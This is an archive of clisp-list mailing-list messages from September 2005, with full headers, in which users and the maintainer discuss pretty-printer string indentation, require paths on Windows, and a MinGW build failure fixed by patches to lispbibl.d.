List-Subscribe: , List-Archive: Date: Tue Sep 13 11:59:21 2005 X-Original-Date: Tue, 13 Sep 2005 14:57:40 -0400 > * Richard Ray [2005-09-13 13:22:22 -0500]: > > Do you know if there's a DB2 UDB interface for Clisp? I don't know what "DB2 UDB" is, but it is very easy to write the interface - just follow the examples in clisp/modules. -- Sam Steingold (http://www.podval.org/~sds) running w2k I haven't lost my mind -- it's backed up on tape somewhere. From keke@gol.com Tue Sep 13 18:37:55 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFMDh-0000Js-Ji for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 18:37:53 -0700 Received: from smtp02.dentaku.gol.com ([203.216.5.72]) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFMDf-0005A0-Vj for clisp-list@lists.sourceforge.net; Tue, 13 Sep 2005 18:37:53 -0700 Received: from d65.gosakafl17.vectant.ne.jp ([202.215.55.65] helo=[192.168.1.2]) by smtp02.dentaku.gol.com with esmtpa (Dentaku) id 1EFMDe-0000y7-2q for ; Wed, 14 Sep 2005 10:37:50 +0900 From: "Takehiko Abe" To: Subject: Re: [clisp-list] Re: pretty printer and string Message-Id: <20050914013711.32475@roaming.gol.com> In-Reply-To: References: X-Mailer: CTM PowerMail 4.2.1 us Carbon MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV GOL X-Abuse-Complaints: abuse@gol.com X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 13 18:38:18 2005 X-Original-Date: Wed, 14 Sep 2005 10:37:11 +0900 Sam Steingold wrote: > > clisp's pretty printer seems to modify string: > > > >> (let ((*print-right-margin* 80) > > (*print-miser-width* nil)) > > (pprint-logical-block (*standard-output* nil) > > (pprint-indent :block 8) > > (print "aaaaaaaa > > bbbbbbbb > > cccccccc"))) > > > > "aaaaaaaa > > bbbbbbbb > > cccccccc" > > NIL > > the string is not modified - it's just printed with the block > indentation you requested But if I READ it back, it results in a different string. That means I cannot pretty print source codes. I think the result should be: "aaaaaaaa bbbbbbbb cccccccc" which is both indented and still the same string as the original. From lisp-clisp-list@m.gmane.org Wed Sep 14 03:30:12 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFUWq-0004Sc-PZ for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 03:30:12 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFUWp-0004qt-Ez for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 03:30:12 -0700 Received: from root by ciao.gmane.org with local (Exim 4.43) id 1EFUWl-0001vY-Ek for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 12:30:07 +0200 Received: from fedon.uib.no ([129.177.13.70]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 14 Sep 2005 12:30:07 +0200 Received: from audunr by fedon.uib.no with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 14 Sep 2005 12:30:07 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Audun =?utf-8?b?UsO4bWNrZQ==?= Lines: 8 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 129.177.13.70 (Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020921 Netscape/7.0) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] setting require path using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 03:31:09 2005 X-Original-Date: Wed, 14 Sep 2005 10:21:35 +0000 (UTC) Hello, I'm on a WinXP/GNU Emacs system using clisp. I know how to set the lookup path for (require "XX") on the Solaris boxes at the university, but I haven't figured out how to do this with clisp on my own computer. Can anyone help me? Cheers, Audun From sds@gnu.org Wed Sep 14 06:46:10 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFXaS-0004s2-BQ for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 06:46:08 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFXaO-0003WH-B1 for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 06:46:08 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8EDjt6x013477; Wed, 14 Sep 2005 09:45:55 -0400 (EDT) To: clisp-list@lists.sourceforge.net, Audun =?utf-8?Q?R=C3=B8mcke?= Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: (Audun =?utf-8?Q?R?= =?utf-8?Q?=C3=B8mcke's?= message of "Wed, 14 Sep 2005 10:21:35 +0000 (UTC)") References: Mail-Followup-To: clisp-list@lists.sourceforge.net, Audun =?utf-8?Q?R?= =?utf-8?Q?=C3=B8mcke?= Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: setting require path using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 06:47:02 2005 X-Original-Date: Wed, 14 Sep 2005 09:44:57 -0400 > * Audun R=C3=B8mcke [2005-09-14 10:21:35 +0000]: > > I know how to set the lookup path for (require "XX") on the Solaris > boxes at the university, but I haven't figured out how to do this with > clisp on my own computer. Can anyone help me? so , what did you do on Solaris? --=20 Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)= ))) From marko.kocic@gmail.com Wed Sep 14 07:37:37 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFYOB-0007gG-9j for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 07:37:31 -0700 Received: from zproxy.gmail.com ([64.233.162.193]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFYOB-0004Kb-1Q for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 07:37:31 -0700 Received: by zproxy.gmail.com with SMTP id 14so85911nzn for ; Wed, 14 Sep 2005 07:37:23 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=Y1hJUlaApy6GGOF437gA1dbgM1Nods7bi5gABEefBuK9fd3w1j2YMh96fAw5jbvO8lZDnI7tKagQJ+lFzaWziH0+7Lg9DBZftS3u9vGcOm+McKwn2zQdKH/2cmKEFdYvMp2dgN8hW8iBTSJh2B8lwBnmrSZaI8tui0UyZglgVW4= Received: by 10.36.33.19 with SMTP id g19mr2105101nzg; Wed, 14 Sep 2005 07:37:16 -0700 (PDT) Received: by 10.36.97.6 with HTTP; Wed, 14 Sep 2005 07:37:14 -0700 (PDT) Message-ID: <9238e8de05091407371f516243@mail.gmail.com> From: Marko Kocic Reply-To: marko.kocic@gmail.com To: list-clisp Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.3 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 07:38:19 2005 X-Original-Date: Wed, 14 Sep 2005 16:37:14 +0200 Hi all, I usually use clisp snapshots from CVS compiled with: ./configure --with-mingw --disable-nls --build build-mingw I use mingw under winXP However, I can't build it anymore. I fails with the following error: gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declaratio ns -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I . -I/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -c modules.c In file included from modules.d:12: c:/dev/cvstree/sourceforge/clisp/clisp/build-mingw/clisp.h:549: warning: register used for two global register variables gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none modules.o r egexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a libcharset.a libavcall.a libcallback.a -luse r32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.e= xe regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT' calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' fol= low ./clisp-link: failed in /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/= base make: *** [base] Error 1 I also tried to download and compile gettext, but without success.=20 Since when is gettext dependency introduced? Is there any workaround to compile clisp under mingw? Thanks, Marko From sds@gnu.org Wed Sep 14 08:08:25 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFYs4-0000xa-8Z for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 08:08:24 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFYs2-0002sa-Ld for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 08:08:24 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8EF7vJI027257; Wed, 14 Sep 2005 11:07:57 -0400 (EDT) To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de05091407371f516243@mail.gmail.com> (Marko Kocic's message of "Wed, 14 Sep 2005 16:37:14 +0200") References: <9238e8de05091407371f516243@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 08:09:11 2005 X-Original-Date: Wed, 14 Sep 2005 11:06:59 -0400 > * Marko Kocic [2005-09-14 16:37:14 +0200]: > > I usually use clisp snapshots from CVS compiled with: > ./configure --with-mingw --disable-nls --build build-mingw I suggest that you add "--with-module=rawsock" and do "make mod-check" after the build. > regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' follow please try the appended patch. thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) running w2k Between grand theft and a legal fee, there only stands a law degree. --- lispbibl.d 09 Sep 2005 14:43:00 -0400 1.668 +++ lispbibl.d 14 Sep 2005 10:56:57 -0400 @@ -9494,8 +9494,7 @@ # init the language and the locale extern void init_language (const char*, const char*); #endif -%% #ifndef LANGUAGE_STATIC -%% #ifdef GNU_GETTEXT +%% #if !defined(LANGUAGE_STATIC) && defined(GNU_GETTEXT) %% printf("#define GNU_GETTEXT\n"); %% printf("#ifndef COMPILE_STANDALONE\n"); %% printf("#include \n"); @@ -9503,7 +9502,6 @@ %% printf("extern const char * clgettext (const char * msgid);\n"); %% #endif %% export_def(GETTEXT); -%% #endif # Fetch the message translations of a string: "CL String getTEXT" # CLSTEXT(string) From marko.kocic@gmail.com Wed Sep 14 09:04:20 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFZkB-00042g-VG for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 09:04:19 -0700 Received: from zproxy.gmail.com ([64.233.162.203]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFZk9-0002Dq-Os for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 09:04:20 -0700 Received: by zproxy.gmail.com with SMTP id 14so101187nzn for ; Wed, 14 Sep 2005 09:04:11 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references; b=RQ8UoE2fu9fpiduq5SAx+FazE7TYYt6tboWKU4u6ojqdiBJ7yZvB5XTToTmdUhcg2HEPITEmtWB9ZSUPiM8LR+DTcG8DOA60K4eqqh4EUVfTbcFYH7jRnSH9S9bzm0X+wZZRUsz2yQgAcRnEwH8Ux11cfcbYYq+26Q9Ubqnv384= Received: by 10.36.247.7 with SMTP id u7mr2157010nzh; Wed, 14 Sep 2005 09:01:04 -0700 (PDT) Received: by 10.36.97.6 with HTTP; Wed, 14 Sep 2005 09:01:01 -0700 (PDT) Message-ID: <9238e8de050914090152b5fece@mail.gmail.com> From: Marko Kocic Reply-To: marko.kocic@gmail.com To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline References: <9238e8de05091407371f516243@mail.gmail.com> X-Spam-Score: -0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 09:05:14 2005 X-Original-Date: Wed, 14 Sep 2005 18:01:01 +0200 I applied your patch and still got the same error: gcc -mno-cygwin -I/usr/local/include -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declaratio ns -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I . -I/c/dev/cvstree/sourceforge/clisp/clisp/build-mingw -c modules.c In file included from modules.d:12: c:/dev/cvstree/sourceforge/clisp/clisp/build-mingw/clisp.h:549: warning: register used for two global register variables gcc -mno-cygwin -W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DNO_TERMCAP_NCURSES -DDYNAMIC_FFI -DNO_GETTEXT -I. -x none modules.o r egexi.o regex.o calls.o -luser32 -lole32 -loleaut32 -luuid gettext.o lisp.a libcharset.a libavcall.a libcallback.a -luse r32 -lws2_32 -lole32 -loleaut32 -luuid -L/usr/local/lib -lsigsegv -o lisp.e= xe regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT' calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT' calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' fol= low ./clisp-link: failed in /c/dev/cvstree/sourceforge/clisp/clisp/build-mingw/= base make: *** [base] Error 1 From lisp-clisp-list@m.gmane.org Wed Sep 14 09:42:03 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFaKh-0005jB-52 for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 09:42:03 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFaKe-0001qE-TC for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 09:42:03 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EFaIT-0004p3-P7 for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 18:39:45 +0200 Received: from fedon.uib.no ([129.177.13.70]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 14 Sep 2005 18:39:45 +0200 Received: from audunr by fedon.uib.no with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Wed, 14 Sep 2005 18:39:45 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Audun =?utf-8?b?UsO4bWNrZQ==?= Lines: 10 Message-ID: References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 129.177.13.70 (Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.0.1) Gecko/20020921 Netscape/7.0) X-Spam-Score: 2.2 (++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 2.2 FORGED_YAHOO_RCVD 'From' yahoo.com does not match 'Received' headers Subject: [clisp-list] Re: setting require path using clisp Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 09:43:21 2005 X-Original-Date: Wed, 14 Sep 2005 16:39:01 +0000 (UTC) Hello people, that was quick! Thanks to both Jeff and Sam... I'm going to try it out as soon as I get home (I didn't think it'd be that easy). Audun From sds@gnu.org Wed Sep 14 11:24:53 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFbwD-0002HD-Ns for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 11:24:53 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1EFbw9-0005co-Ge for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 11:24:53 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.182]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j8EIOT3w029740; Wed, 14 Sep 2005 14:24:29 -0400 (EDT) To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <9238e8de050914090152b5fece@mail.gmail.com> (Marko Kocic's message of "Wed, 14 Sep 2005 18:01:01 +0200") References: <9238e8de05091407371f516243@mail.gmail.com> <9238e8de050914090152b5fece@mail.gmail.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, marko.kocic@gmail.com Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PARATHESES_OPEN BODY: Text interparsed with ( 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ -0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: Windows compilation error Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 11:25:20 2005 X-Original-Date: Wed, 14 Sep 2005 14:23:31 -0400 > * Marko Kocic [2005-09-14 18:01:01 +0200]: > > regexi.o(.text+0x69f):regexi.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x81):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x16e):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x37e):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x1a32):calls.m.c: undefined reference to `GETTEXT' > calls.o(.text+0x3899):calls.m.c: more undefined references to `GETTEXT' follow oops. the appended patch WFM. please try it. thanks. -- Sam Steingold (http://www.podval.org/~sds) running w2k If You Want Breakfast In Bed, Sleep In the Kitchen. --- lispbibl.d 09 Sep 2005 14:43:00 -0400 1.668 +++ lispbibl.d 14 Sep 2005 13:51:12 -0400 @@ -9494,15 +9494,15 @@ # init the language and the locale extern void init_language (const char*, const char*); #endif -%% #ifndef LANGUAGE_STATIC -%% #ifdef GNU_GETTEXT +%% #if !defined(LANGUAGE_STATIC) && defined(GNU_GETTEXT) %% printf("#define GNU_GETTEXT\n"); %% printf("#ifndef COMPILE_STANDALONE\n"); %% printf("#include \n"); %% printf("#endif\n"); %% printf("extern const char * clgettext (const char * msgid);\n"); -%% #endif %% export_def(GETTEXT); +%% #else +%% export_def(GETTEXT(english)); %% #endif # Fetch the message translations of a string: "CL String getTEXT" From lisp-clisp-list@m.gmane.org Wed Sep 14 18:22:52 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1EFiSf-0007c4-Ei for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 18:22:49 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1EFiSB-0006A8-BX for clisp-list@lists.sourceforge.net; Wed, 14 Sep 2005 18:22:49 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1EFiQx-0002CS-BJ for clisp-list@lists.sourceforge.net; Thu, 15 Sep 2005 03:21:03 +0200 Received: from thar.dhcp.asu.edu ([149.169.179.56]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 15 Sep 2005 03:21:03 +0200 Received: from efuzzyone by thar.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Thu, 15 Sep 2005 03:21:03 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Surendra Singhi Lines: 37 Message-ID: References: <17140.62823.23495.34834@thalassa.informatimago.com> <17141.13876.730904.757850@thalassa.informatimago.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: thar.dhcp.asu.edu User-Agent: Gnus/5.1007 (Gnus v5.10.7) XEmacs/21.5 (chayote, windows-nt) Cancel-Lock: sha1:JZc69lMee3Sh9L/lf2V5gheFs/o= X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: FFI & handler case, problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Sep 14 18:23:23 2005 X-Original-Date: Wed, 14 Sep 2005 18:19:30 -0700 Sam Steingold writes: >> * Surendra Singhi [2005-08-18 02:46:44 -0700]: >> >> Surendra Singhi writes: >> >>> I did some further investigation into my problem, and it >>> is really behaving weirdly. I will summarize the behavior below: > > COMMON-LISP-USER[1]> 1345 > --> 1345 > what do I do to get a crash? This problem occurs only on Windows XP with native version of clisp. There seems to be no problem whatsoever on Windows 2000, or cygwin version of clisp on XP. This problem is not just related to use of handler-case, even creating an object of a class, say with a code like: (make-instance 'complex-2) in the lisp function (which was called from C) causes the crash. But if I use the above class first and then use the wxCL code, it works fine. I tried to replicate this problem with a small dll created by me, but I was unsuccessful. Thanks. -- Surendra 